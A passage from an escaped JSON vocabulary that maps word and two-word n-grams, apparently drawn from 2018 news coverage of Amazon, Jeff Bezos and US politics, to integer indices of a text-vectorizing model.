185551,\n  \"don fight\": 185552,\n  \"including national\": 185553,\n  \"make counterfeit\": 185554,\n  \"wins giro\": 185555,\n  \"michelle gielan\": 185556,\n  \"special tax\": 185557,\n  \"good norah\": 185558,\n  \"funded affordable\": 185559,\n  \"120 type\": 185560,\n  \"apple crossed\": 185561,\n  \"inaccurate claims\": 185562,\n  \"2018 jul\": 185563,\n  \"keeps trying\": 185564,\n  \"cuomo announced\": 185565,\n  \"sanitation facilities\": 185566,\n  \"behavioural problems\": 185567,\n  \"bezos spaceflight\": 185568,\n  \"calls\": 185569,\n  \"coverage watch\": 185570,\n  \"bulk customers\": 185571,\n  \"cnl_name lead\": 185572,\n  \"man claimed\": 185573,\n  \"server719403 imagehash\": 185574,\n  \"infrastructure necessary\": 185575,\n  \"tnmorg\": 185576,\n  \"central question\": 185577,\n  \"bezos 2750989\": 185578,\n  \"crossings bloomberg\": 185579,\n  \"snl pic\": 185580,\n  \"achieve number\": 185581,\n  \"mere 000\": 185582,\n  \"meetings starting\": 185583,\n  \"lately says\": 185584,\n  \"algo curation\": 185585,\n  \"moving western\": 185586,\n  \"shows sanchez\": 185587,\n  \"meghann\": 185588,\n  \"karman\": 185589,\n  \"canadian department\": 185590,\n  \"paying shipment\": 185591,\n  \"1958 film\": 185592,\n  \"join apple\": 185593,\n  \"sharing anonymous\": 185594,\n  \"gsa offers\": 185595,\n  \"thomas beaumont\": 185596,\n  \"woman groped\": 185597,\n  \"arguably\": 185598,\n  \"neil macfarquhar\": 185599,\n  \"1955\": 185600,\n  \"gives sellers\": 185601,\n  \"bezos did\": 185602,\n  \"alina alina\": 185603,\n  \"pecker national\": 185604,\n  \"students complain\": 185605,\n  \"homes refugees\": 185606,\n  \"2012 television\": 185607,\n  \"recently entered\": 185608,\n  \"trump defenders\": 185609,\n  \"later 73bn\": 185610,\n  \"toya sarno\": 185611,\n  \"blue origin\": 185612,\n  \"sl\": 185613,\n  \"second wealthiest\": 185614,\n  \"usa elections\": 185615,\n  \"summit kicked\": 185616,\n  \"r4ee k6\": 185617,\n  \"fly reports\": 185618,\n  \"year approval\": 185619,\n  \"hotels mccabe\": 185620,\n  \"axios exploratory\": 185621,\n  \"moving higher\": 185622,\n  \"threaten early\": 185623,\n  \"blackmail jeff\": 185624,\n  \"128gb microsd\": 185625,\n  \"earnings targets\": 185626,\n  \"offer incentives\": 185627,\n  \"actual dollar\": 185628,\n  \"fair climate\": 185629,\n  \"gop senators\": 185630,\n  \"moderates\": 185631,\n  \"consumer retail\": 185632,\n  \"material assuring\": 185633,\n  \"watching don\": 185634,\n  \"stink\": 185635,\n  \"tools surprisingly\": 185636,\n  \"jinsaotome4\": 185637,\n  \"market direction\": 185638,\n  \"washington european\": 185639,\n  \"post dig\": 185640,\n  \"sad trump\": 185641,\n  \"virginia governor\": 185642,\n  \"professor alan\": 185643,\n  \"markets rallied\": 185644,\n  \"tailored\": 185645,\n  \"organisms\": 185646,\n  \"obama participated\": 185647,\n  \"charcoal yakitori\": 185648,\n  \"redacted\": 185649,\n  \"marvel fan\": 185650,\n  \"task focused\": 185651,\n  \"crossings stock\": 185652,\n  \"valuation sanders\": 185653,\n  \"shirts available\": 185654,\n  \"retiring speaker\": 185655,\n  \"farrakhan trump\": 185656,\n  \"surface sl\\u00f8k\": 185657,\n  \"important women\": 185658,\n  \"confront trump\": 185659,\n  \"magazine long\": 185660,\n  \"host called\": 185661,\n  \"state handing\": 185662,\n  \"cuba spain\": 185663,\n  \"quietly evaluating\": 185664,\n  \"907\": 185665,\n  \"dead lena\": 185666,\n  \"multiple architectures\": 185667,\n  \"holiday packages\": 185668,\n  \"worst lender\": 185669,\n  \"did brave\": 185670,\n  \"upcoming defense\": 185671,\n  \"fading investment\": 185672,\n  \"recommends fedex\": 185673,\n  \"exit arrived\": 185674,\n  \"pledging\": 185675,\n  \"theorist\": 185676,\n  \"government negotiations\": 185677,\n  \"administrations efforts\": 185678,\n  \"executing eisen\": 185679,\n  \"thriller romance\": 185680,\n  \"downright huge\": 185681,\n  \"budding monopolistic\": 185682,\n  \"000 people\": 185683,\n  \"duncan hines\": 185684,\n  \"hasn told\": 185685,\n  \"war escalates\": 185686,\n  \"jquery div\": 185687,\n  \"accusations los\": 185688,\n  \"nyt editorial\": 185689,\n  \"spring apparel\": 185690,\n  \"amendment allows\": 185691,\n  \"yangtze river\": 185692,\n  \"campaign corporate\": 185693,\n  \"follows president\": 185694,\n  \"acton native\": 185695,\n  \"recognized jerusalem\": 185696,\n  \"promotable\": 185697,\n  \"dresses\": 185698,\n  \"best information\": 185699,\n  \"bezos connection\": 185700,\n  \"american trade\": 185701,\n  \"joy ride\": 185702,\n  \"built cloud\": 185703,\n  \"humanitarian tradition\": 185704,\n  \"bay area\": 185705,\n  \"hq6 selyukh\": 185706,\n  \"mute button\": 185707,\n  \"dubious\": 185708,\n  \"large increase\": 185709,\n  \"liquor beer\": 185710,\n  \"insurance exclusive\": 185711,\n  \"quantified\": 185712,\n  \"releases dna\": 185713,\n  \"packer\": 185714,\n  \"retail investors\": 185715,\n  \"remarkably quiet\": 185716,\n  \"elemental\": 185717,\n  \"chinese payment\": 185718,\n  \"personal legal\": 185719,\n  \"surveillance amazon\": 185720,\n  \"kenyon\": 185721,\n  \"eu criticism\": 185722,\n  \"word swelling\": 185723,\n  \"asphyxiation heart\": 185724,\n  \"nominations post\": 185725,\n  \"sources brennan\": 185726,\n  \"created millions\": 185727,\n  \"provide fuel\": 185728,\n  \"makes payments\": 185729,\n  \"margin squeeze\": 185730,\n  \"scrutinise elemental\": 185731,\n  \"state blues\": 185732,\n  \"news google\": 185733,\n  \"yarborough\": 185734,\n  \"overall success\": 185735,\n  \"dis transaction\": 185736,\n  \"fallen lot\": 185737,\n  \"suddenly change\": 185738,\n  \"rents yahoo\": 185739,\n  \"million items\": 185740,\n  \"lending policies\": 185741,\n  \"geographical\": 185742,\n  \"comedy fred\": 185743,\n  \"tumult wonder\": 185744,\n  \"st germain\": 185745,\n  \"nordstrom macy\": 185746,\n  \"fewer soldiers\": 185747,\n  \"famu case\": 185748,\n  \"325m cash\": 185749,\n  \"restrict chinese\": 185750,\n  \"trump mounted\": 185751,\n  \"drivers traction\": 185752,\n  \"tuition fees\": 185753,\n  \"rejected elite\": 185754,\n  \"policy tipsheets\": 185755,\n  \"dobie\": 185756,\n  \"leveled\": 185757,\n  \"hearing congress\": 185758,\n  \"bigcharts marketwatch\": 185759,\n  \"show__name\": 185760,\n  \"online_services\": 185761,\n  \"announcing law\": 185762,\n  \"particular order\": 185763,\n  \"advisory group\": 185764,\n  \"rear guard\": 185765,\n  \"involves interactions\": 185766,\n  \"bona fides\": 185767,\n  \"allowing terminally\": 185768,\n  \"aretha franklin\": 185769,\n  \"badly\": 185770,\n  \"schiff says\": 185771,\n  \"122\": 185772,\n  \"billion contract\": 185773,\n  \"sanford bernstein\": 185774,\n  \"worker wages\": 185775,\n  \"tools pre\": 185776,\n  \"unreasonable forced\": 185777,\n  \"dealer robert\": 185778,\n  \"activity 21m\": 185779,\n  \"spirited rivalries\": 185780,\n  \"says rourke\": 185781,\n  \"help stop\": 185782,\n  \"autocrat\": 185783,\n  \"jeffbezos right\": 185784,\n  \"locating headquarters\": 185785,\n  \"americans received\": 185786,\n  \"forgotten souls\": 185787,\n  \"short cuts\": 185788,\n  \"everybody\": 185789,\n  \"regulation pursuit\": 185790,\n  \"arlington crystal\": 185791,\n  \"reject censorship\": 185792,\n  \"doings\": 185793,\n  \"store check\": 185794,\n  \"820 000\": 185795,\n  \"attend conversion\": 185796,\n  \"octane content\": 185797,\n  \"flipkarts majority\": 185798,\n  \"content trump\": 185799,\n  \"tabloid napolitano\": 185800,\n  \"environment banner\": 185801,\n  \"trump finances\": 185802,\n  \"times sulzberger\": 185803,\n  \"steven\": 185804,\n  \"maduro authoritarian\": 185805,\n  \"republic\": 185806,\n  \"trail 200\": 185807,\n  \"robust\": 185808,\n  \"mnuchin\": 185809,\n  \"fauchald\": 185810,\n  \"soybeans growing\": 185811,\n  \"public subsidies\": 185812,\n  \"company allows\": 185813,\n  \"queenbjr\": 185814,\n  \"entrepreneurial large\": 185815,\n  \"police black\": 185816,\n  \"largest tech\": 185817,\n  \"hefty fine\": 185818,\n  \"106 industrial\": 185819,\n  \"problem suspicion\": 185820,\n  \"spend government\": 185821,\n  \"hadn jeff\": 185822,\n  \"flores settlement\": 185823,\n  \"results companies\": 185824,\n  \"amazon marketing\": 185825,\n  \"6cxafkpmqg daniel\": 185826,\n  \"value recently\": 185827,\n  \"sell stocks\": 185828,\n  \"card\": 185829,\n  \"true factor\": 185830,\n  \"columnist ryan\": 185831,\n  \"highthe\": 185832,\n  \"newsletter streamline\": 185833,\n  \"netflix outstanding\": 185834,\n  \"generate profit\": 185835,\n  \"greatest cloud\": 185836,\n  \"automated recommendation\": 185837,\n  \"despite jitters\": 185838,\n  \"current science\": 185839,\n  \"ongoing attempts\": 185840,\n  \"president nbc\": 185841,\n  \"street nba\": 185842,\n  \"illegal loggers\": 185843,\n  \"gbh insights\": 185844,\n  \"kept coming\": 185845,\n  \"advertising options\": 185846,\n  \"new sectors\": 185847,\n  \"florida saw\": 185848,\n  \"just kidding\": 185849,\n  \"domestic refers\": 185850,\n  \"watch data\": 185851,\n  \"order button\": 185852,\n  \"snl nbcsnl\": 185853,\n  \"wrote frankly\": 185854,\n  \"rare look\": 185855,\n  \"darkness\": 185856,\n  \"hottest online\": 185857,\n  \"nix inconvenient\": 185858,\n  \"jeff zeleny\": 185859,\n  \"seattle patrick\": 185860,\n  \"entire economy\": 185861,\n  \"gloves\": 185862,\n  \"hourly wage\": 185863,\n  \"happening yes\": 185864,\n  \"luther king\": 185865,\n  \"sears company\": 185866,\n  \"profit sharing\": 185867,\n  \"dr brenda\": 185868,\n  \"space people\": 185869,\n  \"house budget\": 185870,\n  \"gizmo enthusiast\": 185871,\n  \"world 1963\": 185872,\n  \"hiring michael\": 185873,\n  \"manages refills\": 185874,\n  \"sales internationally\": 185875,\n  \"taxes enabling\": 185876,\n  \"facebook alphabet\": 185877,\n  \"reinvests\": 185878,\n  \"donation patterns\": 185879,\n  \"house tariffs\": 185880,\n  \"debtor\": 185881,\n  \"lawsuit cites\": 185882,\n  \"legislative reforms\": 185883,\n  \"gallardo\": 185884,\n  \"executive appointed\": 185885,\n  \"ice test\": 185886,\n  \"dashes hopes\": 185887,\n  \"venezuela continue\": 185888,\n  \"downgrades\": 185889,\n  \"market bull\": 185890,\n  \"people hurrying\": 185891,\n  \"amazon exiled\": 185892,\n  \"prices packages\": 185893,\n  \"law mandates\": 185894,\n  \"uber shipping\": 185895,\n  \"new light\": 185896,\n  \"house big\": 185897,\n  \"include looking\": 185898,\n  \"finding success\": 185899,\n  \"travel trump\": 185900,\n  \"revenue derived\": 185901,\n  \"complete diabetes\": 185902,\n  \"republican members\": 185903,\n  \"commission parcel\": 185904,\n  \"enquirer suggested\": 185905,\n  \"metropolitan policy\": 185906,\n  \"stories instead\": 185907,\n  \"estate market\": 185908,\n  \"vote 2018\": 185909,\n  \"dislike barack\": 185910,\n  \"probably gotten\": 185911,\n  \"services company\": 185912,\n  \"candidate dr\": 185913,\n  \"ready access\": 185914,\n  \"thestreet executive\": 185915,\n  \"taken amazon\": 185916,\n  \"amazon american\": 185917,\n  \"britain parliament\": 185918,\n  \"performs fair\": 185919,\n  \"seattle hopes\": 185920,\n  \"director marine\": 185921,\n  \"pretty smart\": 185922,\n  \"malloch author\": 185923,\n  \"sound optimistic\": 185924,\n  \"italian doctor\": 185925,\n  \"wo\": 185926,\n  \"big marijuana\": 185927,\n  \"expedited shipping\": 185928,\n  \"featured coverage\": 185929,\n  \"mosquito\": 185930,\n  \"untouched\": 185931,\n  \"states postal\": 185932,\n  \"wolff company\": 185933,\n  \"altering costs\": 185934,\n  \"protection team\": 185935,\n  \"amazon piece\": 185936,\n  \"uber app\": 185937,\n  \"horrible story\": 185938,\n  \"photo jeff\": 185939,\n  \"book awards\": 185940,\n  \"disclosed attempts\": 185941,\n  \"364\": 185942,\n  \"edges photo\": 185943,\n  \"consistently say\": 185944,\n  \"mastercard settle\": 185945,\n  \"consider spinning\": 185946,\n  \"fromnew\": 185947,\n  \"aforementioned companies\": 185948,\n  \"offers presorted\": 185949,\n  \"unafraid\": 185950,\n  \"list falsely\": 185951,\n  \"romanov\": 185952,\n  \"respective constituencies\": 185953,\n  \"vaccine kindle\": 185954,\n  \"skipped\": 185955,\n  \"paying federal\": 185956,\n  \"claimed jeff\": 185957,\n  \"chance half\": 185958,\n  \"political incompetence\": 185959,\n  \"payment legal\": 185960,\n  \"says online\": 185961,\n  \"120 billion\": 185962,\n  \"hersfeld\": 185963,\n  \"political tyrants\": 185964,\n  \"memo does\": 185965,\n  \"hanin\": 185966,\n  \"prosecution witness\": 185967,\n  \"cold\": 185968,\n  \"newest credit\": 185969,\n  \"seeing big\": 185970,\n  \"ratesworld news\": 185971,\n  \"mutually satisfactory\": 185972,\n  \"economic condition\": 185973,\n  \"financial economist\": 185974,\n  \"conference live\": 185975,\n  \"legitimate case\": 185976,\n  \"tesla ceo\": 185977,\n  \"post reporters\": 185978,\n  \"to\\u0430quotes\": 185979,\n  \"song contest\": 185980,\n  \"extramarital affairs\": 185981,\n  \"bought protection\": 185982,\n  \"acknowledged secretly\": 185983,\n  \"modest proposal\": 185984,\n  \"weight loss\": 185985,\n  \"caption sen\": 185986,\n  \"seek simply\": 185987,\n  \"provocative\": 185988,\n  \"mobbed\": 185989,\n  \"gesine\": 185990,\n  \"gov andrew\": 185991,\n  \"jets amazon\": 185992,\n  \"khan aka\": 185993,\n  \"trade squabbles\": 185994,\n  \"hydrochlorothiazide\": 185995,\n  \"investigator knew\": 185996,\n  \"asylum policy\": 185997,\n  \"dispose\": 185998,\n  \"add_commas total\": 185999,\n  \"post request\": 186000,\n  \"blocked\": 186001,\n  \"pee tapes\": 186002,\n  \"process involved\": 186003,\n  \"manufacturing policy\": 186004,\n  \"planned acquisition\": 186005,\n  \"hailing service\": 186006,\n  \"king amazon\": 186007,\n  \"example land\": 186008,\n  \"infuriated trump\": 186009,\n  \"negotiate discounted\": 186010,\n  \"cars unaffordable\": 186011,\n  \"major sneaker\": 186012,\n  \"wear wireto\": 186013,\n  \"gruber usa\": 186014,\n  \"register floundered\": 186015,\n  \"arts sciences\": 186016,\n  \"datax\": 186017,\n  \"strongly praised\": 186018,\n  \"currentvideocollection descriptionplaintext\": 186019,\n  \"close settings\": 186020,\n  \"kneel\": 186021,\n  \"lowly\": 186022,\n  \"milwaukee\": 186023,\n  \"devices asking\": 186024,\n  \"trillion healthcare\": 186025,\n  \"amendment followed\": 186026,\n  \"whatshisname\": 186027,\n  \"gazette reported\": 186028,\n  \"excellent foreign\": 186029,\n  \"retailers fear\": 186030,\n  \"natural fit\": 186031,\n  \"astray walmart\": 186032,\n  \"castigations\": 186033,\n  \"presumed\": 186034,\n  \"audio\": 186035,\n  \"later criticism\": 186036,\n  \"website offered\": 186037,\n  \"gaggle\": 186038,\n  \"life riding\": 186039,\n  \"strong software\": 186040,\n  \"popular destination\": 186041,\n  \"develops thanks\": 186042,\n  \"hosts vast\": 186043,\n  \"billion right\": 186044,\n  \"strips\": 186045,\n  \"run hedge\": 186046,\n  \"oppressive\": 186047,\n  \"fuel insurance\": 186048,\n  \"metro criteria\": 186049,\n  \"foster\": 186050,\n  \"illegals trump\": 186051,\n  \"planner\": 186052,\n  \"operation according\": 186053,\n  \"carlos maza\": 186054,\n  \"getting grossly\": 186055,\n  \"navarro badly\": 186056,\n  \"decorative\": 186057,\n  \"culture html\": 186058,\n  \"senator mike\": 186059,\n  \"congressional seats\": 186060,\n  \"online giant\": 186061,\n  \"historical standards\": 186062,\n  \"fairly enthusiastic\": 186063,\n  \"demartino declared\": 186064,\n  \"vendors provide\": 186065,\n  \"revisit\": 186066,\n  \"series potential\": 186067,\n  \"strictly regulate\": 186068,\n  \"story right\": 186069,\n  \"spirituality small\": 186070,\n  \"criticized media\": 186071,\n  \"sent privately\": 186072,\n  \"mayor\": 186073,\n  \"healthy bezos\": 186074,\n  \"buying gold\": 186075,\n  \"trump fundraiser\": 186076,\n  \"headquarters jobs\": 186077,\n  \"supposed benefits\": 186078,\n  \"blogamazon investor\": 186079,\n  \"employee called\": 186080,\n  \"commence legal\": 186081,\n  \"people took\": 186082,\n  \"abandoned homeless\": 186083,\n  \"transit hub\": 186084,\n  \"controversial trump\": 186085,\n  \"causal relationship\": 186086,\n  \"users information\": 186087,\n  \"challenged long\": 186088,\n  \"killing osama\": 186089,\n  \"entrepreneurial energy\": 186090,\n  \"delivering care\": 186091,\n  \"colours sell\": 186092,\n  \"years mackenzie\": 186093,\n  \"brody\": 186094,\n  \"service reduce\": 186095,\n  \"preview clip\": 186096,\n  \"shiakapos\": 186097,\n  \"schiff hardly\": 186098,\n  \"college records\": 186099,\n  \"using river\": 186100,\n  \"closures\": 186101,\n  \"operating executive\": 186102,\n  \"shift policy\": 186103,\n  \"occurrence lobbyists\": 186104,\n  \"pits\": 186105,\n  \"cleaner looking\": 186106,\n  \"liberal establishment\": 186107,\n  \"mingling\": 186108,\n  \"spare\": 186109,\n  \"peers rebounded\": 186110,\n  \"credentials noah\": 186111,\n  \"considered invoking\": 186112,\n  \"increasingly messy\": 186113,\n  \"chatter news\": 186114,\n  \"justice\": 186115,\n  \"rates outlook\": 186116,\n  \"aws amazon\": 186117,\n  \"old postal\": 186118,\n  \"2014 divorce\": 186119,\n  \"winner apple\": 186120,\n  \"reduce taxes\": 186121,\n  \"home exlarge\": 186122,\n  \"uses pseudonyms\": 186123,\n  \"executive roger\": 186124,\n  \"sniff stamps\": 186125,\n  \"u0 hc\": 186126,\n  \"poland ap\": 186127,\n  \"rough day\": 186128,\n  \"disengagement\": 186129,\n  \"sanchez vehemently\": 186130,\n  \"emissions leading\": 186131,\n  \"connect people\": 186132,\n  \"tables jonathan\": 186133,\n  \"delta state\": 186134,\n  \"amazon controlling\": 186135,\n  \"activists spoke\": 186136,\n  \"nasty drop\": 186137,\n  \"controlled american\": 186138,\n  \"tech investment\": 186139,\n  \"outlets calling\": 186140,\n  \"supermarket today\": 186141,\n  \"davidson announced\": 186142,\n  \"slayings posted\": 186143,\n  \"corporate debt\": 186144,\n  \"siminoff\": 186145,\n  \"decision leads\": 186146,\n  \"announcement new\": 186147,\n  \"bs_bullet_primary soccer\": 186148,\n  \"100 prime\": 186149,\n  \"seattle online\": 186150,\n  \"barr molly\": 186151,\n  \"forestry businesses\": 186152,\n  \"incoming missiles\": 186153,\n  \"mel\": 186154,\n  \"recent report\": 186155,\n  \"posted staggeringly\": 186156,\n  \"cramer remarks\": 186157,\n  \"released joint\": 186158,\n  \"best technology\": 186159,\n  \"alleged incidents\": 186160,\n  \"including regulatory\": 186161,\n  \"193\": 186162,\n  \"products reach\": 186163,\n  \"04m writes\": 186164,\n  \"uber potential\": 186165,\n  \"department appealed\": 186166,\n  \"difference believe\": 186167,\n  \"unsavory relationships\": 186168,\n  \"trump concerned\": 186169,\n  \"gossip item\": 186170,\n  \"engrossing watch\": 186171,\n  \"vendors selling\": 186172,\n  \"2014 metro\": 186173,\n  \"2014 telling\": 186174,\n  \"torres wall\": 186175,\n  \"thought autocracy\": 186176,\n  \"training sessions\": 186177,\n  \"combat opioid\": 186178,\n  \"french marketwatch\": 186179,\n  \"nearly importantly\": 186180,\n  \"tough questions\": 186181,\n  \"apple podcasts\": 186182,\n  \"royce\": 186183,\n  \"station miramar\": 186184,\n  \"total height\": 186185,\n  \"target operating\": 186186,\n  \"mike kelly\": 186187,\n  \"niki christoff\": 186188,\n  \"times accusing\": 186189,\n  \"utpol senator\": 186190,\n  \"costs increase\": 186191,\n  \"send delegation\": 186192,\n  \"staff president\": 186193,\n  \"1981\": 186194,\n  \"schools governor\": 186195,\n  \"raise fares\": 186196,\n  \"strange friends\": 186197,\n  \"lost revenue\": 186198,\n  \"unsettled america\": 186199,\n  \"various locations\": 186200,\n  \"cujo\": 186201,\n  \"exterior small\": 186202,\n  \"centers salesforce\": 186203,\n  \"levelled\": 186204,\n  \"step files\": 186205,\n  \"citizens just\": 186206,\n  \"bezos prior\": 186207,\n  \"innovators leave\": 186208,\n  \"sanders given\": 186209,\n  \"awaited invasion\": 186210,\n  \"interviews karen\": 186211,\n  \"clinton sanders\": 186212,\n  \"wendell\": 186213,\n  \"biometric facial\": 186214,\n  \"marks shift\": 186215,\n  \"looks good\": 186216,\n  \"just growing\": 186217,\n  \"experiences closer\": 186218,\n  \"various platforms\": 186219,\n  \"run headlines\": 186220,\n  \"letters making\": 186221,\n  \"transfer policy\": 186222,\n  \"lookin tide\": 186223,\n  \"expensive distraction\": 186224,\n  \"bellecapital intl\": 186225,\n  \"cross road\": 186226,\n  \"decade trump\": 186227,\n  \"brexit boosters\": 186228,\n  \"blockbuster divorce\": 186229,\n  \"sourcing counterfeits\": 186230,\n  \"incredible benefits\": 186231,\n  \"farmland\": 186232,\n  \"dave jamieson\": 186233,\n  \"formally charged\": 186234,\n  \"canopy growth\": 186235,\n  \"packages requesting\": 186236,\n  \"force conclusion\": 186237,\n  \"koyyur previous\": 186238,\n  \"major parties\": 186239,\n  \"misinterpreted list\": 186240,\n  \"deal worse\": 186241,\n  \"artist domenic\": 186242,\n  \"aliso\": 186243,\n  \"trade malmstrom\": 186244,\n  \"difficulties\": 186245,\n  \"gay members\": 186246,\n  \"documents social\": 186247,\n  \"real tax\": 186248,\n  \"italian automaker\": 186249,\n  \"talking point\": 186250,\n  \"cheap food\": 186251,\n  \"attended pic\": 186252,\n  \"publishing accounts\": 186253,\n  \"increasing scrutiny\": 186254,\n  \"cook 100\": 186255,\n  \"presidents testing\": 186256,\n  \"ring amazon\": 186257,\n  \"suriname\": 186258,\n  \"identification\": 186259,\n  \"bloodying\": 186260,\n  \"algorithms amazon\": 186261,\n  \"netflix amazon\": 186262,\n  \"known case\": 186263,\n  \"committee really\": 186264,\n  \"amazon payments\": 186265,\n  \"ferocious battle\": 186266,\n  \"diet coke\": 186267,\n  \"bromance check\": 186268,\n  \"mexico pitched\": 186269,\n  \"taxpayer expense\": 186270,\n  \"amazon 1552\": 186271,\n  \"yr 2018\": 186272,\n  \"issuer\": 186273,\n  \"tv newscaster\": 186274,\n  \"zinke met\": 186275,\n  \"facing societies\": 186276,\n  \"announces naloxone\": 186277,\n  \"beauty food\": 186278,\n  \"underground\": 186279,\n  \"pernicious thing\": 186280,\n  \"winky\": 186281,\n  \"coffee company\": 186282,\n  \"house passed\": 186283,\n  \"cruz noted\": 186284,\n  \"martin baccardex\": 186285,\n  \"education training\": 186286,\n  \"sink ships\": 186287,\n  \"bets\": 186288,\n  \"mrbezos\": 186289,\n  \"revolted\": 186290,\n  \"rate seen\": 186291,\n  \"qualms\": 186292,\n  \"currently encounters\": 186293,\n  \"muckerman think\": 186294,\n  \"world carlos\": 186295,\n  \"mediatek helio\": 186296,\n  \"tracked bezos\": 186297,\n  \"big way\": 186298,\n  \"republican met\": 186299,\n  \"clapper\": 186300,\n  \"true anthony\": 186301,\n  \"575x270 uploaded_files\": 186302,\n  \"donors sen\": 186303,\n  \"shows movies\": 186304,\n  \"faa approved\": 186305,\n  \"easy win\": 186306,\n  \"proudly stand\": 186307,\n  \"returning state\": 186308,\n  \"report kate\": 186309,\n  \"work rules\": 186310,\n  \"soft\": 186311,\n  \"offices embedded\": 186312,\n  \"counts related\": 186313,\n  \"hq2 considerations\": 186314,\n  \"cool high\": 186315,\n  \"cnl_custom_color\": 186316,\n  \"cloud tech\": 186317,\n  \"cup trump\": 186318,\n  \"published ripoff\": 186319,\n  \"travel autos\": 186320,\n  \"backfired 2018\": 186321,\n  \"increasing medium\": 186322,\n  \"colbert confronts\": 186323,\n  \"prices crude\": 186324,\n  \"printed referring\": 186325,\n  \"prison house\": 186326,\n  \"report fbi\": 186327,\n  \"modern reboot\": 186328,\n  \"board called\": 186329,\n  \"politics pelosi\": 186330,\n  \"story marketwatch\": 186331,\n  \"influence peddling\": 186332,\n  \"preview president\": 186333,\n  \"transformation program\": 186334,\n  \"normally president\": 186335,\n  \"exits toronto\": 186336,\n  \"short distance\": 186337,\n  \"protection\": 186338,\n  \"fool analysts\": 186339,\n  \"pursuing new\": 186340,\n  \"avoiders\": 186341,\n  \"recent radio\": 186342,\n  \"comparison shop\": 186343,\n  \"competitors don\": 186344,\n  \"sunny day\": 186345,\n  \"michael adno\": 186346,\n  \"mixed race\": 186347,\n  \"canada wholesale\": 186348,\n  \"man dies\": 186349,\n  \"gut\": 186350,\n  \"cuomo public\": 186351,\n  \"frej quietly\": 186352,\n  \"dsp named\": 186353,\n  \"aggressive resistance\": 186354,\n  \"municipal environmental\": 186355,\n  \"private profits\": 186356,\n  \"develop new\": 186357,\n  \"broad attacks\": 186358,\n  \"pictures include\": 186359,\n  \"sonyliv subscription\": 186360,\n  \"presidential tweets\": 186361,\n  \"bauerle\": 186362,\n  \"frequent safety\": 186363,\n  \"burglarizing\": 186364,\n  \"associate professor\": 186365,\n  \"millions providing\": 186366,\n  \"adam lashinsky\": 186367,\n  \"resign elon\": 186368,\n  \"arch\": 186369,\n  \"designated 700\": 186370,\n  \"market disruption\": 186371,\n  \"marathon\": 186372,\n  \"alleging violations\": 186373,\n  \"street rebound\": 186374,\n  \"schroders\": 186375,\n  \"snacks showing\": 186376,\n  \"avi lerner\": 186377,\n  \"delivery understandably\": 186378,\n  \"cannon president\": 186379,\n  \"brazilian mother\": 186380,\n  \"clean aka\": 186381,\n  \"coverage led\": 186382,\n  \"avoid overlap\": 186383,\n  \"gotten access\": 186384,\n  \"enforcements\": 186385,\n  \"960799 critics\": 186386,\n  \"tariff relief\": 186387,\n  \"union aclu\": 186388,\n  \"lhin\": 186389,\n  \"sleazy\": 186390,\n  \"tornadoes isis\": 186391,\n  \"space technology\": 186392,\n  \"currently unquantified\": 186393,\n  \"shopping periods\": 186394,\n  \"complaint bringing\": 186395,\n  \"sticking points\": 186396,\n  \"earn law\": 186397,\n  \"motivated leak\": 186398,\n  \"fulks\": 186399,\n  \"trophy infrastructure\": 186400,\n  \"officials concerns\": 186401,\n  \"criticizing reporters\": 186402,\n  \"employment fraud\": 186403,\n  \"lagged\": 186404,\n  \"extraterrestrial\": 186405,\n  \"logistics consulting\": 186406,\n  \"f1ffc8b1b28541f8a14202dff10fb148 florida\": 186407,\n  \"new masterpiece\": 186408,\n  \"assuming better\": 186409,\n  \"vehicles branded\": 186410,\n  \"ask hard\": 186411,\n  \"representing hurston\": 186412,\n  \"justice divine\": 186413,\n  \"successful efforts\": 186414,\n  \"lot questions\": 186415,\n  \"post earnings\": 186416,\n  \"perfect conduit\": 186417,\n  \"sheela things\": 186418,\n  \"week continues\": 186419,\n  \"4k hdr\": 186420,\n  \"international regulators\": 186421,\n  \"usps volume\": 186422,\n  \"rains missiles\": 186423,\n  \"reuters\": 186424,\n  \"rodrigo duterte\": 186425,\n  \"pow\": 186426,\n  \"trending topics\": 186427,\n  \"keller achievement\": 186428,\n  \"possibly taking\": 186429,\n  \"attributed boost\": 186430,\n  \"recent attacks\": 186431,\n  \"german magazine\": 186432,\n  \"clinton demanding\": 186433,\n  \"sides drew\": 186434,\n  \"analysts reiterated\": 186435,\n  \"qatar\": 186436,\n  \"pecker pic\": 186437,\n  \"worker worldtribune\": 186438,\n  \"hickman\": 186439,\n  \"options set\": 186440,\n  \"investors grapple\": 186441,\n  \"fix things\": 186442,\n  \"2017 related\": 186443,\n  \"2013 trademark\": 186444,\n  \"columbus circle\": 186445,\n  \"fellow billionaires\": 186446,\n  \"struggle abetted\": 186447,\n  \"swing voters\": 186448,\n  \"ring alexa\": 186449,\n  \"inspector\": 186450,\n  \"burien\": 186451,\n  \"reaching 1780\": 186452,\n  \"high hopes\": 186453,\n  \"ba\": 186454,\n  \"business note\": 186455,\n  \"buzz60 connecttweetlinkedincommentemailmore\": 186456,\n  \"korecki illinois\": 186457,\n  \"bringing\": 186458,\n  \"hidespinner\": 186459,\n  \"firms working\": 186460,\n  \"trump meant\": 186461,\n  \"gustavo dudamel\": 186462,\n  \"possible morning\": 186463,\n  \"procedural hearing\": 186464,\n  \"unannounced monthly\": 186465,\n  \"successful institutions\": 186466,\n  \"delivery firm\": 186467,\n  \"premarket\": 186468,\n  \"npr involve\": 186469,\n  \"tracks investor\": 186470,\n  \"cryptocurrency tron\": 186471,\n  \"374 cnl_nam\": 186472,\n  \"cupertino calif\": 186473,\n  \"dream looks\": 186474,\n  \"novel couldn\": 186475,\n  \"air capacity\": 186476,\n  \"incarnation\": 186477,\n  \"beef\": 186478,\n  \"begin throwing\": 186479,\n  \"grainger\": 186480,\n  \"aeht\": 186481,\n  \"clearer standards\": 186482,\n  \"rep sent\": 186483,\n  \"cheese stuffed\": 186484,\n  \"413 763\": 186485,\n  \"companies used\": 186486,\n  \"union bancorporation\": 186487,\n  \"goulding\": 186488,\n  \"kool aid\": 186489,\n  \"working relationship\": 186490,\n  \"administration strategy\": 186491,\n  \"reallyunderstand\": 186492,\n  \"pi\": 186493,\n  \"projects nationwide\": 186494,\n  \"schultz slams\": 186495,\n  \"nflx saw\": 186496,\n  \"aneurysms minutes\": 186497,\n  \"court politics\": 186498,\n  \"share 38c\": 186499,\n  \"amazon raising\": 186500,\n  \"hush agreement\": 186501,\n  \"including browsing\": 186502,\n  \"specific targets\": 186503,\n  \"delicious 100\": 186504,\n  \"lost overboard\": 186505,\n  \"deals ahead\": 186506,\n  \"drone delivery\": 186507,\n  \"school staff\": 186508,\n  \"outlined proposal\": 186509,\n  \"thomas richardson\": 186510,\n  \"su plantilla\": 186511,\n  \"bozo reveals\": 186512,\n  